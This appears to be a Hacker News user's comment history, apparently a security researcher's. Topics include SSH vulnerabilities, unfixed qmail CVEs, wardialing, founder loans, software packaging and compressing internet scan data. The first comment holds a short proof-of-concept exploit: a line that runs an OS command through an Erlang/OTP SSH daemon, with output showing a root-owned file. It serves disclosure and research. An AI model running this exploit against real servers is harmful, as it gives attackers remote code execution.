205 karma · joined October 4, 2014
The test server: $ erl -eval 'ssh:start(), ssh_dbg:on(), ssh:daemon(34222, [{system_dir, "/home/otp/ssh/keys"},{user_dir, "/home/otp/ssh/users/otptest/.ssh"}]).'
The exploit: auth.ScrapeExec(options, addr+" "+tname, res, ses, `os:cmd("touch /tmp/HAXXXED").`)
>-rw-r--r-- 1 root root 0 Apr 17 16:14 /tmp/HAXXXED
This presentation dives deep into the Secure Shell protocol, its popular implementations, what's changed, what hasn't, and how this leads to unexpected vulnerabilities and novel attacks. An open source tool, dubbed "sshamble", will be demonstrated, which reproduces these attacks and opens the door for further research.
Source: co-speaker of the OP referenced presentation
Salient quote below:
>In May 2005, Georgi Guninski published "64 bit qmail fun", three vulnerabilities in qmail (CVE-2005-1513, CVE-2005-1514, CVE-2005-1515):
[snip]
>Surprisingly, we re-discovered these vulnerabilities during a recent qmail audit; they have never been fixed because, as stated by qmail's author Daniel J. Bernstein (in https://cr.yp.to/qmail/guarantee.html):
>>"This claim is denied. Nobody gives gigabytes of memory to each qmail-smtpd process, so there is no problem with qmail's assumption that allocated array lengths fit comfortably into 32 bits."
1. https://www.qualys.com/2020/05/19/cve-2005-1513/remote-code-...
edit: added quote from referenced url
IIRC (it has been a bit), there was a specific frequency only used by modem negotiation but not fax machines (3150?).
- WarVOX 2.0 Presentation: https://speakerdeck.com/hdm/derbycon-2011-acoustic-intrusion... - WarVOX Source: https://github.com/rapid7/warvox
The US legal restrictions on wardialing are complicated and changes to the law made it difficult to continue the project.
For fans of ToneLoc, I implemented the data format and visualization with my latest project (Rumble Network Discovery): - https://www.rumble.run/blog/subnet-grid-report/
Regarding contingency plans, you don't need to have a hard repayment date in the loan terms and can let it accrue interest indefinitely (until bankruptcy, acquisition, or otherwise). Unlike traditional convertible debt a founder loan normally doesn't "blow up" into a huge equity stake if not paid back.
If things don't work out and you have the opportunity to roll the founding team into an another company (acquihire), loans are an easy thing to assign value to, even if the IP or goodwill is more difficult. Negotiate the loan repayment as a signing bonus if you can.
If things work out and you either raise money or bootstrap to profitability, you can pay off the loans as it makes sense, or just forgive them outright if that's easier. Either way you probably don't need to involve your whole board to manage it, unlike equity changes.
I get the desire as a founder to obtain the same terms on capital as future investors, but it can put you in a weird place and can complicate future fundraising. Props to anyone who can make it work, but I had good luck with the founder loan process and felt like it was the cheapest way to finish bootstrapping (we did).
Good luck either way!
Alternatively, refile your articles and stock purchase agreement and tie that capital to the stock purchase or initial contribution. I would still recommend founder loans instead. If you use a SAFE or other convertible debt on amazing terms, future investors may ask for the same terms.
Edit: I financed my startup (https://rumble.run) that way and paid myself back a month ago. Painless all around.
I see this attitude a ton in conversations with startups. A founder describes their whiz-bang thing, a question comes up about how this works in larger environments, usually followed by a mumbled reply about virtual appliances. Virtual appliances (and to some extent, docker containers) are not the solution, for so many reason, I might run out of space in the comment field listing them. The short version: OS updates, security updates, networking issues, customer-side diagnostics, size, and support for the customer's specific virtualization platform. Docker is great if your customers all use docker and you have the update process sorted out, but that is probably a small fraction of your total market.
In other words, build actual installable software that runs on some set of supported operating systems. Make a DEB, an RPM, maybe an MSI. Build an installer. Have a nifty splash screen. Add desktop links. Don't lose revenue because you can't be bothered to figure out omnibus, nullsoft, or bitrock.
If you are building software, keep in mind that customer environments are insane and should be treated as hostile. Every bit of your software and packaging needs to be paranoid, defensive, and respond well to failures. When something goes wrong, customers are not your QA team (you have one, right?). Don't make them run a thousand commands for you. Build actual diagnostic features into the product. Some organizations (hint: they have lots of money), don't let your icky code talk to the internet. Offline activation, offline updates, and offline diagnostics are super important to counting these folks as customers.
https://github.com/rapid7/sonar/wiki/Analyzing-Datasets
Project Sonar is one of the primary contributors to scans.io. The DAP utility is handy for parsing raw x509 certificates and generating JSON output.
The challenge of sharing internet-wide scan data has unearthed a few issues with creating and processing large datasets.
The IC12 project[1] used zpaq, which ended up compressing to almost half the size of gzip. The downside is that it took nearly two weeks and 16 cores to convert the zpaq data to a format other tools could use.
The Critical.IO project[2] used pbzip2, which worked amazingly well, except when processing the data with Java-based tool chains (Hadoop, etc). The Java BZ2 libraries had trouble with the parallel version of bzip2.
We chose gzip with Project Sonar[3], and although the compression isn't great, it was widely compatible with the tools people used to crunch the data, and we get parallel compression/decompression via pigz.
In the latest example, the Censys.io[4] project switched to LZ4 and threw data processing compatibility to the wind (in favor of bandwith and a hosted search engine).
-HD
1. http://internetcensus2012.bitbucket.org/images.html 2. https://scans.io/study/sonar.cio 3. https://sonar.labs.rapid7.com/ 4. https://censys.io/
1. https://tools.ietf.org/html/rfc6672 2. https://scans.io/study/sonar.fdns 3. https://hdm.io/data/20151121_dname.txt.gz 4. https://twitter.com/Laughing_Mantis/status/67430845437942579...
This made it easier for manufacturers of IDS/IPS/UTM/NGFW equipment to quickly isolate false negatives during fully loaded tests.
Edit: If the company truly feels that their stock can be substituted for salary, then it shouldn't have more than a 12-month cliff for vesting.